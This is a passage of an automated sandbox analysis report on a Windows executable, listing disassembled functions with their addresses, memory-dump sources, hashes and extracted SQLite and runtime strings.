                                                                                                                                                                                                                                          • Instruction ID: 50dc1d93d71ceb4bc8018af42148bf0298651a25e9773b7699c631694dbdab13
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A9115E26B14F018AEB10CFA0E8653B833A8FB59758F440E31DA6D667A4DF7CD568C380
                                                                                                                                                                                                                                          Function 00007FFD9410DC84 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 290COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: out of memory$string or blob too big
                                                                                                                                                                                                                                          • API String ID: 1436585979-2410398255
                                                                                                                                                                                                                                          • Opcode ID: 5fff3d06d0ccca3e7037c2f42f265a36d380444e00bc8815e5caa4a52cafd409
                                                                                                                                                                                                                                          • Instruction ID: b4a7815f7cbc2a812633171514e53b891ddf74ef5d9dc1cddc58553a32c94300
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5fff3d06d0ccca3e7037c2f42f265a36d380444e00bc8815e5caa4a52cafd409
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F2C1BE63B1864286EB349A95C5E02BC67A1EF17B84F14C436DB4E67BD6DE2CE446C310
                                                                                                                                                                                                                                          Function 00007FFD941405E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: string or blob too big
                                                                                                                                                                                                                                          • API String ID: 1436585979-2803948771
                                                                                                                                                                                                                                          • Opcode ID: 6a3b792af28c5662f73222d4b4933a8ca5c4e6cb800e1e0a16e3037f37ecc6fe
                                                                                                                                                                                                                                          • Instruction ID: bbd216322bf2760550bc1f44b15498b73c289df0a6adf1a26efb7f902f123635
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6a3b792af28c5662f73222d4b4933a8ca5c4e6cb800e1e0a16e3037f37ecc6fe
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0B918222F0920285FA74DB9695B43792BA0BF82B98F048135DE4E273EBDE3DE445C741
                                                                                                                                                                                                                                          Function 00007FFD9411CE50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 188COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: too many SQL variables$variable number must be between ?1 and ?%d
                                                                                                                                                                                                                                          • API String ID: 1436585979-515162456
                                                                                                                                                                                                                                          • Opcode ID: 506eda038b74c98e54bdfa24872a0cb727f6532326f914921bbb369657e19773
                                                                                                                                                                                                                                          • Instruction ID: bf249826cc99f19c1fcec6bb3157c72c98b8e57daf505ed228ac227f958a22d5
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 506eda038b74c98e54bdfa24872a0cb727f6532326f914921bbb369657e19773
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D781DD73B1869285EB20DB51E0E4AB977A5FB4AB84F56C032EE4D57286EF38E541C300
                                                                                                                                                                                                                                          Function 00007FFD9413A8B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: BINARY$no such collation sequence: %s
                                                                                                                                                                                                                                          • API String ID: 1436585979-2451720372
                                                                                                                                                                                                                                          • Opcode ID: 282f0509ea81868ca59e037c5a34fc49bde5b1738b0b20af94cc3273fb71deb0
                                                                                                                                                                                                                                          • Instruction ID: 556453026deb518311bb279fbb5b32b576a411fce981c8ee1067294a943ae7f8
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 282f0509ea81868ca59e037c5a34fc49bde5b1738b0b20af94cc3273fb71deb0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9A719023B08B4181EB289FA185A43B96391EB56BE8F499331DE6C172C6DF3DE595C340
                                                                                                                                                                                                                                          Function 00007FFD941399C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: index '%q'
                                                                                                                                                                                                                                          • API String ID: 0-1628151297
                                                                                                                                                                                                                                          • Opcode ID: 2ae049488dbcd971e8eebbb9c46ca1a513fddf04584e929c695a7bee5a319a09
                                                                                                                                                                                                                                          • Instruction ID: efd8d3fa00435eb7d8660ea8527a13b238fd9c90a4b772358462c55b69530ae3
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2ae049488dbcd971e8eebbb9c46ca1a513fddf04584e929c695a7bee5a319a09
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3A71C433B18A5589EB209BA5D4A06BC3BB0BB45758F048635DE1E67BDAEF38D441C704
                                                                                                                                                                                                                                          Function 00007FFD940D4A30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 165COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %02d
                                                                                                                                                                                                                                          • API String ID: 1436585979-896308400
                                                                                                                                                                                                                                          • Opcode ID: 87c9a3707543ebd0ec8a97f1e757cf13622c6e6cbfda3e3733a9ffa452fb5cd0
                                                                                                                                                                                                                                          • Instruction ID: 250d7211ef948e8ac66d3ea33c2561c88e3b197cffb8cc9111c2f056b6f6e243
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 87c9a3707543ebd0ec8a97f1e757cf13622c6e6cbfda3e3733a9ffa452fb5cd0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 55718122B1879685E7348F94D4A07FD77B0FB86748F108136EE8D17A5ADE39E449DB00
                                                                                                                                                                                                                                          Function 00007FFD9416D690 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,?,?,00000000,00000001,00007FFD9416D93A,?,?,?,00007FFD9416DCFB), ref: 00007FFD9416D8A7
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: CRE$INS
                                                                                                                                                                                                                                          • API String ID: 1436585979-4116259516
                                                                                                                                                                                                                                          • Opcode ID: 822c72113fbf7660647f9a9edbd070d2d2960cc045afc80f290bda24906f9860
                                                                                                                                                                                                                                          • Instruction ID: 00eb7e21be8fc772369bd9d6e12289d2ce33f80a846e03b7da429da494eb601b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 822c72113fbf7660647f9a9edbd070d2d2960cc045afc80f290bda24906f9860
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E651EF26B1964280FA309BA294B43796395BF86FE8F58C131DE4D6B78BDE3DE401C341
                                                                                                                                                                                                                                          Function 00007FF79D075B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: ?
                                                                                                                                                                                                                                          • API String ID: 1286766494-1684325040
                                                                                                                                                                                                                                          • Opcode ID: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
                                                                                                                                                                                                                                          • Instruction ID: ab24bfc2917451016dcb14b09f6986be4ef5e63fe1d18a4602e4e5964a4e6ce5
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0C41D812F0C68645FB74AB3998497B99660EBA0BA4F944235EEDC0BBD5FE3CD4418710
                                                                                                                                                                                                                                          Function 00007FF79D069084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D0690B6
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: HeapFree.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9CE
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: GetLastError.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9D8
                                                                                                                                                                                                                                          • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF79D05CC15), ref: 00007FF79D0690D4
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                          • API String ID: 3580290477-3315613849
                                                                                                                                                                                                                                          • Opcode ID: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
                                                                                                                                                                                                                                          • Instruction ID: eef7f1ab21475d17cc413d03ca955cfb80672df9bf429f98229bb968db14a806
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 59417F36B0CF5285E728BF79A8410BDA395FB487D4BD54135E98D47B85EE3CE4818360
                                                                                                                                                                                                                                          Function 00007FF79D06CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastWrite
                                                                                                                                                                                                                                          • String ID: U
                                                                                                                                                                                                                                          • API String ID: 442123175-4171548499
                                                                                                                                                                                                                                          • Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                          • Instruction ID: d2ef5717a12765f967dc83121f038697b62f9b7aef08517457cd731699ea6bbd
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D418322B1CA8581DB609F6AE4443A9AB60FB88794FC44131EE8D87794EF3DD441C754
                                                                                                                                                                                                                                          Function 00007FFD940D9880 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: @
                                                                                                                                                                                                                                          • API String ID: 1436585979-2766056989
                                                                                                                                                                                                                                          • Opcode ID: 28e1e0f857556d647b9106a00d1fe80f73a9c471021f4b8bba851b4c0d99da9f
                                                                                                                                                                                                                                          • Instruction ID: 15261a6436588ca30b63de9619af1108f5ba010a5f5f1d474b04b8cdcc932ef7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 28e1e0f857556d647b9106a00d1fe80f73a9c471021f4b8bba851b4c0d99da9f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1C416F21F0C78B46FA718BA564F017963A0BF97F40F14C639E84D0A657FF2EA484D600
                                                                                                                                                                                                                                          Function 00007FFDA35980D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2285944180.00007FFDA3591000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDA3590000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285918556.00007FFDA3590000.00000002.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3613000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3615000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA363D000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3648000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3653000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2286219552.00007FFDA3657000.00000080.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2286260013.00007FFDA3659000.00000004.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffda3590000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Time$System$File
                                                                                                                                                                                                                                          • String ID: gfff
                                                                                                                                                                                                                                          • API String ID: 2838179519-1553575800
                                                                                                                                                                                                                                          • Opcode ID: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
                                                                                                                                                                                                                                          • Instruction ID: e0ce5ca5da97a289bfa39eaa8e1a3ba3f67f2815bb0ceb9c210d68d4ffe4e74c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B8210672B0968686EB59CF2DD52037C7AF5E788B88F488035DA4DC7756DE3DD1408704
                                                                                                                                                                                                                                          Function 00007FF79D06F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentDirectory
